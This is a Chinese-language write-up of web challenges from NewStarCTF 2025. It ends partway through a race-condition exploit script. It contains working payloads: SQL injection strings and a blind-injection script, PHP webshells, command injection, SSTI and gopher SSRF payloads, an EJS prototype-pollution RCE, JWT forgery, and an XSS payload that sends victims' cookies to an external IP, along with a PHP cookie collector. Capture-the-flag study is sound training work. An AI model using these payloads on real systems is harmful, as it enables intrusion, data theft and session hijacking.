NewStarCTF2025-web解析
解析newstarctf2025的web方向题目做法及思路
week1
multi-headach3
考点:robots.txt协议、抓包
根据题目提示联想到robots.txt,访问/robots.txt路由。给出了hidden.php

接着访问/hidden.php,发现直接跳到了/index.php,抓个包看一下,发现flag在响应头中
week1
multi-headach3
考点:robots.txt协议、抓包
根据题目提示联想到robots.txt,访问/robots.txt路由。给出了hidden.php

接着访问/hidden.php,发现直接跳到了/index.php,抓个包看一下,发现flag在响应头中

flag{842c4abe-7232-4f34-8ce8-28eaf0870f39}strange_login
考点:sql注入已知用户名的万能密码
提示1=1,并且进入是一个登录口,要管理员身份才能登录。猜测要使用已知用户名的万能密码。
admin' or '1'='1密码随便输入,登录即可

flag{0990a34c-70d9-49be-ae41-1fca9186a196}宇宙的中心是php
考点:绕过反调试、代码审计
进入是一个动画页面

随手想看下源代码,发现按键被禁用了。直接找浏览器设置工具打开开发者工具,发现提示s3kret.php

访问s3kret.php路由,得到源码:
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answer,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}要求用post方式给newstar2025传值,且内容按照十进制解析结果不等于47、自动检测进制后解析结果等于47。这里将47转换成十六进制0x2F即可绕过

flag{adf3e286-d809-4252-bd93-fc4195cd42d8}我真得控制你了
考点:反调试绕过、前端代码审计、弱口令、代码审计
进去有个启动按钮,但是点不了,应该是按钮被覆盖了

这次burp抓包看下页面源代码,可以看到按钮被shieldOverlay这个层屏蔽
直接用上面的方式打开开发者工具,在控制台运行如下语句移除这个屏蔽层
document.getElementById('shieldOverlay').remove();然后启动即可进入到下一关,提示弱口令

爆破一下,发现密码为111111时成功跳转

认证之后进入portal.php路由,并且给出源码
<?php
error_reporting(0);
function generate_dynamic_flag($secret) {
return getenv("ICQ_FLAG") ?: 'default_flag';
}
if (isset($_GET['newstar'])) {
$input = $_GET['newstar'];
if (is_array($input)) {
die("恭喜掌握新姿势");
}
if (preg_match('/[^\d*\/~()\s]/', $input)) {
die("老套路了,行不行啊");
}
if (preg_match('/^[\d\s]+$/', $input)) {
die("请输入有效的表达式");
}
$test = 0;
try {
@eval("\$test = $input;");
} catch (Error $e) {
die("表达式错误");
}
if ($test == 2025) {
$flag = generate_dynamic_flag($flag_secret);
echo "<div class='success'>拿下flag!</div>";
echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
} else {
echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
}
} else {
?>
<?php } ?>要求通过get方式给newstar传参,要满足如下要求:
- 首先不能是数组
- 输入只能包含数字、运算符、括号、空格
- 输入不能全是数字和空格
- eval计算结果是2025
这里可以使用*运算符,由45乘45得到2025

flag{9e506717-b19b-4d42-bd8d-b30a80eba0a6}别笑,你也过不了第二关
一个小游戏题目,要求第二关100000分过关
在源代码中可以看到,将score参数传入flag.php,根据分数判断是否达到1000000

可以直接发送score=1000000的post到flag.php,在控制台运行下面的代码即可
// 直接发送通关请求
fetch("/flag.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "score=1000000" // 直接设置满分
})
.then(response => response.text())
.then(data => {
console.log("Flag获取成功:", data);
alert(data); // 显示flag
})
.catch(error => {
console.error("请求失败:", error);
});
flag{63892e85-6cce-4fa7-8606-60bd0ba66037}或者直接玩游戏,在控制台设置score为一个大于1000000的值,再随便动两下等结束即可


黑客小W的故事(1)
考点:http协议、对脑电波
要打900只吉欧才行,但是中间会被古神干掉,抓包看一下,发现发送了大量的hunt包,每次count都是1

直接将count改为900

进入下一关/Level2_mato
要与蘑菇先生对话说guding,但是直接点击交谈无反应,根据提示要get传入shipin=mogubaozi
对话之后提示要用post方式向他传递要说的话,随便给guding传个参数,要求用DELETE方法除掉chongzi

再加上个chongzi参数,然后改一下DELETE方法

之后访问进入给出的路由,进入第三关:/Level3_SheoChallenge
提示中说要修改UA头为CycloneSlash,但是回显说是假把式
改成:User-Agent: CycloneSlash/1.又说要最新的直接改成下面这样:
User-Agent: CycloneSlash/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.96 Safari/537.36 Edg/135.0.3179.85这次又要DashSlash

User-Agent: CycloneSlash/5.0 (Windows NT 10.0; Win64; x64) DashSlash/537.36 (KHTML, like Gecko) Chrome/135.0.7049.96 Safari/537.36 Edg/135.0.3179.85 进入下一关:/Level4_Sly
访问即可获得flag

flag{90b7e380-7274-43f1-b9ba-6663382368da}week2
DD加速器
直接命令执行查看环境变量,在里面找到flag。(根目录下的是假的)
127.0.0.1;env
真的是签到欸
写个代码将要执行的语句进行对应加密,注意这里空格会被替换,使用${IFS}绕过
# save as make_cipher.py
import base64
import string
# ---- atbash 实现(对大小写字母分别映射,非字母保持不变) ----
def atbash(s: str) -> str:
out = []
for ch in s:
if 'a' <= ch <= 'z':
out.append(chr(ord('a') + (25 - (ord(ch) - ord('a')))))
elif 'A' <= ch <= 'Z':
out.append(chr(ord('A') + (25 - (ord(ch) - ord('A')))))
else:
out.append(ch)
return ''.join(out)
# ---- rot13(Python 标准库 codecs 也可用,这里手写保证可见性) ----
def rot13(s: str) -> str:
res = []
for ch in s:
if 'a' <= ch <= 'z':
res.append(chr((ord(ch) - ord('a') + 13) % 26 + ord('a')))
elif 'A' <= ch <= 'Z':
res.append(chr((ord(ch) - ord('A') + 13) % 26 + ord('A')))
else:
res.append(ch)
return ''.join(res)
if __name__ == '__main__':
E = "system('cat${IFS}/flag');" # <- 你可以替换成别的安全语句用于测试
# 1) 对 E 做 rot13
r = rot13(E)
# 2) 对 rot13(E) 做 atbash,得到 X
X = atbash(r)
# 3) 为避免服务器那边的 str_replace(' ', '', ...) 出险,去掉 X 中的空格(通常 atbash 后不会出现空格,但可保险)
X = X.replace(' ', '')
# 4) base64 编码
cipher_b64 = base64.b64encode(X.encode()).decode()
print("E (to be eval'd) =")
print(E)
print()
print("rot13(E) =")
print(r)
print()
print("atbash(rot13(E)) = (this will be base64-decoded on server)")
print(X)
print()
print("Final cipher (base64) to POST:")
print(cipher_b64)
post传入:
cipher=dW91dGlhKCdrbXQke0VIVX0vaGJtZycpOw==搞点哦润吉吃吃橘
在源码的注释里面看到账号密码:Doro/Doro_nJlPVs_@123
登录之后要求计算给定的表达式

import requests
import re
import time
def solve_challenge():
base_url = "https://eci-2ze5djxemg4rlntogdkq.cloudeci1.ichunqiu.com:5000"
# 1. 开始挑战,获取表达式和新的session
start_url = f"{base_url}/start_challenge"
# 使用原始登录session发起挑战
original_session = "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9.aOO3Mw.aYSwzbiz5vCzr5jj65TYspEPUNQ"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/json",
"Referer": f"{base_url}/home"
}
cookies = {"session": original_session}
try:
# 发起挑战请求
resp = requests.post(start_url, headers=headers, cookies=cookies, timeout=5)
print(f"开始挑战状态码: {resp.status_code}")
if resp.status_code != 200:
print("挑战开始失败")
return None
data = resp.json()
expression = data['expression']
print(f"表达式: {expression}")
print(f"multiplier: {data['multiplier']}")
print(f"xor_value: {data['xor_value']}")
# 从表达式中提取时间戳(关键修正!)
timestamp_match = re.search(r'\((\d+) \*', expression)
if not timestamp_match:
print("无法从表达式中提取时间戳")
return None
timestamp = int(timestamp_match.group(1))
print(f"从表达式提取的时间戳: {timestamp}")
# 获取新的session
new_session = resp.cookies.get('session')
if not new_session:
print("未获取到新session")
return None
print(f"新session: {new_session[:50]}...")
# 2. 计算token(使用表达式中的时间戳,不是当前时间戳)
multiplier = data['multiplier']
xor_value = int(data['xor_value'], 16)
# 使用表达式中的时间戳进行计算
token = (timestamp * multiplier) ^ xor_value
print(f"计算token: {token}")
# 3. 验证token(使用新session)
verify_url = f"{base_url}/verify_token"
verify_cookies = {"session": new_session}
verify_data = {"token": token}
# 确保在3秒内提交
start_time = time.time()
verify_resp = requests.post(verify_url, json=verify_data, cookies=verify_cookies, headers=headers, timeout=5)
elapsed = time.time() - start_time
print(f"验证状态码: {verify_resp.status_code}")
print(f"验证耗时: {elapsed:.2f}秒")
print(f"验证响应: {verify_resp.text}")
return verify_resp.json()
except requests.exceptions.RequestException as e:
print(f"请求错误: {e}")
return None
except Exception as e:
print(f"其他错误: {e}")
return None
if __name__ == "__main__":
result = solve_challenge()
if result:
print("最终结果:", result)flag{e2e6431d-01cd-439b-949f-c391ec62180b}白帽小K的故事(1)
在页面源代码发现这段函数

构造如下请求,读取一下给的star.mp3,发现会将该文件当作php代码执行。

直接写个php马读取flag,保存为2.mp3上传并读取
<?php system('cat /flag'); ?>
flag{3e8216b0-4154-4a3f-aab0-30c1b1c26a21}小E的管理系统
根据提示为sql注入,输入2-1,查询的是节点1的结果,判断为数字型注入。
过滤空格,这里用%0a绕过
经过测试,得到字段数为5
/query.php?id=1%0aorder%0aby%0a5查看回显位时发现逗号,被过滤,这里用join绕过,得到回显位为1
/query.php?id=1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin(select%0a2)b%0ajoin(select%0a3)c%0ajoin(select%0a4)d%0ajoin(select%0a5)e
查表
/query.php?id=1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin(select%0a4)d%0ajoin(select%0agroup_concat(tbl_name)%0aFROM%0asqlite_master)e
获取表的结构,从sqlite_master中读取sql字段
/query.php?id=1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin(select%0a4)d%0ajoin(select%0agroup_concat(sql)%0aFROM%0asqlite_master)e 
在sys_config表中可以看到有id,config_key,config_value
看一下内容,最终在config_value字段中发现flag
/query.php?id=1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin(select%0a4)d%0ajoin(select%0agroup_concat(config_value)%0aFROM%0asys_config)eflag{359aabbe-8a6d-4a48-be42-f7b2a7b86437}week3
小E的秘密计划
根据题目的备份提示,访问/www.zip下载备份源码
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git status
On branch master
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: tips.txt
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git show :tips.txt
tips:什么是branch
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git show 1389b47
commit 1389b4798a8013a1c90fb2d867243d0da18c5175
Author: admin <admin@admin.com>
Date: Wed Oct 1 12:10:02 2025 +0800
初始化
diff --git a/index.html b/index.html
new file mode 100644
index 0000000..e3b643a
--- /dev/null
+++ b/index.html
@@ -0,0 +1,74 @@
+<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+ <meta charset="UTF-8">
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
+ <title>Project X - 登录系统</title>
+ <link rel="stylesheet" href="../css/style.css">
+</head>
+<body>
+ <div class="floating-shapes">
+ <div class="floating-shape shape-circle" style="top: 15%; left: 10%;"></div>
+ <div class="floating-shape shape-ring" style="top: 40%; left: 85%;"></div>
+ <div class="floating-shape shape-polygon" style="top: 70%; left: 20%;"></div>
+ </div>
+
+
+ <div class="login-container">
+ <div class="login-box">
+ <div class="login-logo">
+ <h1>PROJECT X</h1>
+ <p>系统访问认证</p>
+ <p>tips: 默认密码使用uuid4生成,不可能被爆破</p>
+ </div>
+
+ <form id="login-form">
+ <div class="input-group">
+ <label for="username">用户ID</label>
+ <input type="text" id="username" placeholder="输入您的用户ID">
+ </div>
+
+ <div class="input-group">
+ <label for="password">密码</label>
+ <input type="password" id="password" placeholder="输入您的密码">
+ </div>
+ <div class="login-actions">
+ <a href="/" class="btn">返回首页</a>
+ <button type="button" class="btn btn-primary" id="login-btn">验证登录</button>
+ </div>
+
+ <div class="login-footer">
+ <p>版本 5.1.4</p>
+ </div>
+ </form>
+ </div>
+ </div>
+ <script>
+ document.getElementById('login-btn').addEventListener('click', function() {
+ const username = document.getElementById('username').value;
+ const password = document.getElementById('password').value;
+
+ fetch('login.php', {
+ method: 'POST',
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded'
+ },
+ body: `username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}`
+ })
+ .then(response => {
+ if (response.redirected) {
+ window.location.href = response.url;
+ } else {
+ return response.text();
+ }
+ })
+ .then(text => {
+ if (text) {
+ alert(text);
+ }
+ })
+ .catch(error => console.error('Error:', error));
+ });
+ </script>
+</body>
+</html>
\ No newline at end of file
diff --git a/login.php b/login.php
new file mode 100644
index 0000000..0d6a57d
--- /dev/null
+++ b/login.php
@@ -0,0 +1,17 @@
+<?php
+require_once 'user.php';
+$userData = getUserData();
+if ($_SERVER['REQUEST_METHOD'] === 'POST') {
+ $username = $_POST['username'] ?? '';
+ $password = $_POST['password'] ?? '';
+
+ if ($username === $userData['username'] && $password === $userData['password']) {
+ header('Location: /secret-xxxxxxxxxxxxxxxxxxx');
+ exit();
+ } else {
+ echo '登录失败,在git里找找吧';
+ exit();
+ }
+}
+
+
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git show 5f8ecc0
commit 5f8ecc03aee0de892013bba7ce0522876c419b58
Author: admin <admin@admin.com>
Date: Wed Oct 1 12:14:08 2025 +0800
新增提示
diff --git a/tips.txt b/tips.txt
new file mode 100644
index 0000000..a7fa1d9
--- /dev/null
+++ b/tips.txt
@@ -0,0 +1 @@
+tips:什么是branch
\ No newline at end of file
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git show 5fef682
commit 5fef682d7eceba025c894af4a5f8bf4680666368 (HEAD -> master)
Author: admin <admin@admin.com>
Date: Wed Oct 1 12:14:25 2025 +0800
删除提示
diff --git a/tips.txt b/tips.txt
deleted file mode 100644
index a7fa1d9..0000000
--- a/tips.txt
+++ /dev/null
@@ -1 +0,0 @@
-tips:什么是branch
\ No newline at end of file
在这个目录下的HEAD文件中发现branch

查看一下git记录
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git show 353b98f7c2fe77a5a426bf73576f5113820c4669
commit 353b98f7c2fe77a5a426bf73576f5113820c4669
Author: admin <admin@admin.com>
Date: Wed Oct 1 12:11:48 2025 +0800
测试,这个branch会删
diff --git a/user.php b/user.php
new file mode 100644
index 0000000..f3d34d7
--- /dev/null
+++ b/user.php
@@ -0,0 +1,8 @@
+<?php
+
+function getUserData() {
+ return [
+ 'username' => 'admin',
+ 'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de'
+ ];
+}
\ No newline at end of file得到账号密码:
'username' => 'admin',
'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de'访问登录:https://eci-2zeiq1qx3sg2kcxdr0ws.cloudeci1.ichunqiu.com/public-555edc76-9621-4997-86b9-01483a50293e/
登录之后下载.DS_Store文件
利用工具ds_store_exp分析得到flag路径

之后访问即可
https://eci-2zeiq1qx3sg2kcxdr0ws.cloudeci1.ichunqiu.com/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ffffllllaaaagggg114514flag{1366377a-7d01-430f-b722-473f6cbd5f43}白帽小K的故事(2)
布尔盲注,抓个包可以看到查询正确的回显内容是:{status: "ok", message: "Found"}

以这个为标志写个脚本布尔盲注,这里过滤了空格,用括号绕过
import requests
def blind_sql_injection(url):
"""
基于布尔盲注的自动化脚本,用于逐字符提取数据
"""
extracted_data = ""
for char_position in range(1, 1000):
current_char = extract_single_char(url, char_position)
if current_char:
extracted_data += current_char
print(f"位置 {char_position}: '{current_char}' - 当前结果: {extracted_data}")
else:
print(f"数据提取完成,共 {char_position - 1} 个字符")
break
return extracted_data
def extract_single_char(url, position):
"""
提取指定位置的单个字符
"""
low_bound = 32
high_bound = 127
while low_bound < high_bound:
mid_point = (low_bound + high_bound) // 2
# 构建SQL注入payload
payload = construct_payload(position, mid_point)
# 发送请求并检查响应
is_greater = send_injection_request(url, payload)
if is_greater:
low_bound = mid_point + 1
else:
high_bound = mid_point
# 检查是否找到有效字符
final_char = chr(low_bound) if 32 <= low_bound <= 126 else None
return final_char
def construct_payload(position, ascii_value):
"""
构建SQL注入payload
可根据需要修改查询语句
"""
payloads = [
# 获取所有数据库名
f"amiya'AND(ascii(substr((SELECT(group_concat(schema_name))FROM(information_schema.schemata)),{position},1))>{ascii_value})#",
# 获取Flag库的所有表名
f"amiya'AND(ascii(substr((SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema='Flag')),{position},1))>{ascii_value})#",
# 获取flag表的所有列名
f"amiya'AND(ascii(substr((SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name='flag')),{position},1))>{ascii_value})#",
# 获取flag数据
f"amiya'AND(ascii(substr((SELECT(flag)FROM(Flag.flag)),{position},1))>{ascii_value})#"
]
# 使用最后一个payload(获取flag数据)
return payloads[-1]
def send_injection_request(url, payload):
"""
发送注入请求并解析响应
"""
request_data = {"name": payload}
try:
response = requests.post(url, data=request_data, timeout=5)
return '{"status":"ok","message":"Found"}' in response.text
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
return False
if __name__ == "__main__":
target_url = "https://eci-2ze5w79g3ev6rmohwkr4.cloudeci1.ichunqiu.com:80/search"
print("开始SQL盲注攻击...")
final_flag = blind_sql_injection(target_url)
print(f"最终结果: {final_flag}")flag{866a6dd5-b7eb-429a-a82a-b34fe86b1a49}mirror_gate
题目描述中提到了系统中的应用配置缺陷,应该就是.htaccess解析问题了
扫描/uploads目录可以发现有.htaccess文件

访问一下这个文件:
AddType application/x-httpd-php .webp发现会把.webp后缀的文件当作php文件解析
写个马改为.webp后缀
这里还会检查文件内容,写入如下一句话木马绕过
<?=`more /fl*`?>
之后放包访问该文件即可
flag{4ae6fc8b-16d3-4d98-9559-66a6d89b2002}
ez_chain
过滤了如下内容:
array('/',':','php','base64','data','zip','rar','filter','flag');并且会对输出结果循环base64解码,并且解出来的内容中不能包含f,这里使用convert.iconv.ASCII.CP037 将ASCII转换为CP037编码
php://filter/convert.base64-encode|convert.iconv.ASCII.CP037/resource=/flag要双重url编码绕过黑名单
/?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565%257c%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2541%2553%2543%2549%2549%252e%2543%2550%2530%2533%2537%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567
将结果的hex编码复制下面,利用python转换CP037编码
# CP037解码脚本
# 您提供的CP037编码十六进制字符串
hex_string = "E9 94 A7 88 E9 F3 A3 88 D5 E6 E9 89 E9 C4 83 F3 D5 A8 F0 F5 D5 A9 D9 93 D3 E3 D8 F4 D6 E6 E8 A3 E8 94 C6 92 E9 E2 F1 94 D4 A9 D4 F3 D5 E6 E5 91 D5 A9 87 A6 E8 A9 88 F9 C3 87 7E 7E"
# 将十六进制字符串转换为字节序列
def hex_to_bytes(hex_str):
# 移除空格并转换为字节
hex_clean = hex_str.replace(" ", "")
try:
bytes_data = bytes.fromhex(hex_clean)
return bytes_data
except ValueError as e:
print(f"十六进制转换错误: {e}")
return None
# 解码CP037编码
def decode_cp037(hex_str):
# 转换为字节
cp037_bytes = hex_to_bytes(hex_str)
if cp037_bytes is None:
return None
print(f"字节长度: {len(cp037_bytes)}")
print(f"原始字节: {cp037_bytes.hex().upper()}")
try:
# 尝试CP037解码
decoded_text = cp037_bytes.decode('cp037')
return decoded_text
except UnicodeDecodeError as e:
print(f"CP037解码错误: {e}")
# 尝试其他可能的EBCDIC编码
encodings_to_try = ['cp500', 'cp1047', 'ibm037', 'ebcdic-cp-us']
for encoding in encodings_to_try:
try:
decoded = cp037_bytes.decode(encoding)
print(f"使用 {encoding} 解码: {decoded}")
except UnicodeDecodeError:
print(f"{encoding} 解码失败")
return None
# 主程序
if __name__ == "__main__":
print("CP037解码结果:")
print("=" * 50)
result = decode_cp037(hex_string)
if result:
print(f"\n解码后的文本: {result}")
# 显示每个字符的详细信息
print(f"\n详细解码信息:")
print("-" * 30)
bytes_data = hex_to_bytes(hex_string)
for i, byte in enumerate(bytes_data):
try:
char = bytes([byte]).decode('cp037')
print(f"字节 0x{byte:02X} -> 字符: '{char}' (ASCII: {ord(char)})")
except UnicodeDecodeError:
print(f"字节 0x{byte:02X} -> 无法解码的字符")
print("\n" + "=" * 50)解码后的文本: ZmxhZ3thNWZiZDc3Ny05NzRlLTQ4OWYtYmFkZS1mMzM3NWVjNzgwYzh9Cg==结果base64解码即可
flag{a5fbd777-974e-489f-bade-f3375ec780c8}who's ssti
{{lipsum.__globals__.__builtins__.__import__('re').findall('\\d+', 'abc123def456')}}{{lipsum.__globals__.__builtins__.__import__('difflib').get_close_matches('apple', ['apply', 'ape', 'apples', 'peach'])}}{{lipsum.__globals__.__builtins__.__import__('random').choice([1, 2, 3, 4, 5])}}{{lipsum.__globals__.__builtins__.__import__('textwrap').dedent(' hello\n world')}}{{lipsum.__globals__.__builtins__.__import__('statistics').mean([1, 2, 3, 4, 5])}}
成功调用5个函数即可获得flag

flag{7d680b9d-49e3-40c4-b7bb-b2fa6b9a9759}week4
武功秘籍
稻草人cms
访问/dcr/login.htm路由进入登录口,弱口令:admin/admin

添加新闻类,随便写个名字添加,然后回到首页。

点击添加新闻

传个php马,然后添加新闻

抓包改下Content-Type

然后找一下上传的马子名字

然后之后看phpinfo即可找到flag

flag{33111046-ef43-4af5-aba6-c83c3d464eb3}小羊走迷宫
变量名字用这种方式绕过:ma[ze.path
payload:
http://8.147.132.32:20712/?ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO2E6Mjp7aTowO086ODoiZW5kUG9pbnQiOjE6e3M6MTQ6IgBlbmRQb2ludABwYXRoIjtzOjUyOiJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWZsYWcucGhwIjt9aToxO3M6MzoiZm9vIjt9fQ==
然后结果再base64解码一下就行了

flag{14d1257a-02c7-4355-a0a5-ce9d5c089c8a}小E的留言板
在vps上写个php文件,用来接受xss得到cookie
<?php
$cookie = $_GET['cookie'];
$result = fopen("cookie.txt", "a");
fwrite($result,$cookie . "\n");
fclose($result);
?>然后在web页面随便注册个账号登录进去
" autofofocuscus oonnfofocuscus="var i=new Image();i.src='http://82.157.235.117/1.php?cookie='+encodeURICompoonnent(document.cookie);this.oonnfofocuscus=null"将payload输入留言框,然后更新、报告。过了一会即可看到获得到的cookie

sqlupload
随便写个一句话木马
<?php @eval($_REQUEST['1']); ?>然后抓包,上传的时候将文件名字改成一句话木马

然后利用getFileList.php中正则漏洞:只包含upload_time或者id即可绕过

然后利用这个向网站根目录将刚刚的马写入文件
/getFileList.php?order=upload_time%20INTO%20OUTFILE%20%27/var/www/html/shell1.php%27访问发现成功写入,并且能执行phpinfo

蚁剑直接连,然后执行根目录下的readFlag即可

ssti在哪里
web服务(端口80/外部25036) → app.py(5000) → interal_web.py(5001)
由于题目要post传参,这里用gopher打,对name进行模板注入
payload直接读取环境变量:

gopher://127.0.0.1:5000/_POST%20/%20HTTP/1.0%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2048%0d%0a%0d%0aname%3D%7B%7Bcycler.__init__.__globals__.os.environ%7D%7Dweek5
小W和小K的故事(最终章)
在app.js中可以看到硬编码了随机数种子114514

根据random.js写个python脚本预测一下,获取admin密码
class Random:
def __init__(self, seed):
self.seed = seed % 998244353
def next(self):
self.seed = (self.seed * 48271) % 998244353
return self.seed
def getRandomInt(self, min_val, max_val):
return min_val + (self.next() % (max_val - min_val))
def getRandomString(self, length):
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
result = ""
for i in range(length):
result += charset[self.getRandomInt(0, len(charset))]
return result
def main():
# 生成session secret(第一次调用)
rng = Random(114514)
session_secret = rng.getRandomString(16)
print(f"Session Secret: {session_secret}")
# 生成admin密码(第二次调用,状态已改变)
admin_password = rng.getRandomString(16)
print(f"admin密码: {admin_password}")
if __name__ == "__main__":
main()
# 输出结果:
# Session Secret: JbjULcgJmg6EyKcQ
# Admin密码: XrfGpmeEFZmz8NDZ得到admin密码:XrfGpmeEFZmz8NDZ
进入管理后台,开启抓包,随便添加个用户,js原型链污染(CVE-2019-10744)+ EJS 3.1.6 模板引擎的RCE

POST /addUser HTTP/2
Host: eci-2ze851x0t7t6px2pa8ob.cloudeci1.ichunqiu.com:3000
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1757503154; session=s%3A368rWRXOa7vZea6ArGnCRZf2ei9l_oKz.YntA7wJWrAQc%2BkQnV45IEbvgOjN48uKgLOX62YqHs5c
Content-Length: 214
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://eci-2ze851x0t7t6px2pa8ob.cloudeci1.ichunqiu.com:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://eci-2ze851x0t7t6px2pa8ob.cloudeci1.ichunqiu.com:3000/admin
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{
"constructor": {
"prototype": {
"client": true,
"escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); //"
}
}
}然后跟随这个302跳转,即访问任意EJS页面,触发模板渲染,执行注入的代码

flag{750ed55d-4b95-46ab-8bb0-7f6158ddd3e3}眼熟的计算器
jadx反编译得到源码:
package org.example.newstar.controller;
import javax.script.ScriptEngineManager;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.beans.factory.xml.DefaultBeanDefinitionDocumentReader;
import org.springframework.cache.interceptor.CacheOperationExpressionEvaluator;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
/* loaded from: app.jar:BOOT-INF/classes/org/example/newstar/controller/NewstarController.class */
public class NewstarController {
private String[] BLACKLIST = {DefaultBeanDefinitionDocumentReader.IMPORT_ELEMENT, "java.lang.Runtime", "new"};
private String calculate(String content) throws Exception {
String[] strArr;
for (String word : this.BLACKLIST) {
if (content.contains(word)) {
return "Blacklisted word detected: " + word;
}
}
Object result = new ScriptEngineManager().getEngineByName("js").eval(content);
return result.toString();
}
@GetMapping({"/"})
public String home(Model model) throws Exception {
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
@GetMapping({"/calc"})
public String status(@RequestParam("content") String content, Model model) throws Exception {
model.addAttribute(CacheOperationExpressionEvaluator.RESULT_VARIABLE, calculate(content));
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
}
使用type()动态引用类,绕过黑名单检测
由于直接读取会返回哈希码,因此这里用base64编码绕过:
1+1; Java.type("java.util.Base64").getEncoder().encodeToString(Java.type("java.nio.file.Files").readAllBytes(Java.type("java.nio.file.Paths").get("/flag")))
将结果base64解码即可

flag{6b5714b0-2a40-465b-8016-c9a6bcf50a16}废弃的网站
通过访问admin页面获取服务器运行时间,计算出JWT签名密钥伪造管理员令牌。利用竞争条件漏洞,在多个线程中同时发送正常管理员请求和包含SSTI payload的恶意请求,当服务器在验证JWT后、渲染页面前的短暂时间窗口内,恶意payload通过竞争条件覆盖临时用户数据,触发SSTI执行系统命令
(不太稳定)
import requests
import jwt
import hashlib
import time
import threading
import re
target = "http://39.106.48.123:43714/"
def get_running_time():
"""获取服务器运行时间"""
try:
resp = requests.get(target + "admin", cookies={'session': 'invalid'})
if "System has been running" in resp.text:
match = re.search(r'System has been running (\d+) seconds', resp.text)
if match:
return int(match.group(1))
except:
pass
return None
def get_fresh_admin_token():
"""获取管理员token"""
running_time = get_running_time()
if running_time is None:
return None
current_time = round(time.time())
time_started = current_time - running_time - 2 # 已知正确偏移
secret = hashlib.sha256(str(time_started).encode()).hexdigest()
admin_payload = {"id": 1, "role": "admin", "name": "Administrator"}
token = jwt.encode(admin_payload, secret, algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def precise_race_condition_attack():
print("开始精确竞争条件攻击...")
admin_token = get_fresh_admin_token()
if not admin_token:
print("无法获取管理员token")
return []
print(f"使用新鲜token: {admin_token[:30]}...")
results = []
request_count = [0]
def victim_thread():
"""受害者线程:使用管理员token访问/admin"""
for i in range(20):
try:
request_count[0] += 1
resp = requests.get(target + "admin", cookies={'session': admin_token}, timeout=0.5)
if "Welcome Back" in resp.text:
result = resp.text.replace("Welcome Back, ", "")
if result != "Administrator":
results.append(f"竞争成功! 请求#{request_count[0]}: {result}")
print(f"!!! 发现异常响应: {result}")
except:
pass
def attacker_thread():
"""攻击者线程:快速修改tempuser"""
running_time = get_running_time()
if not running_time:
return
current_time = round(time.time())
time_started = current_time - running_time - 2
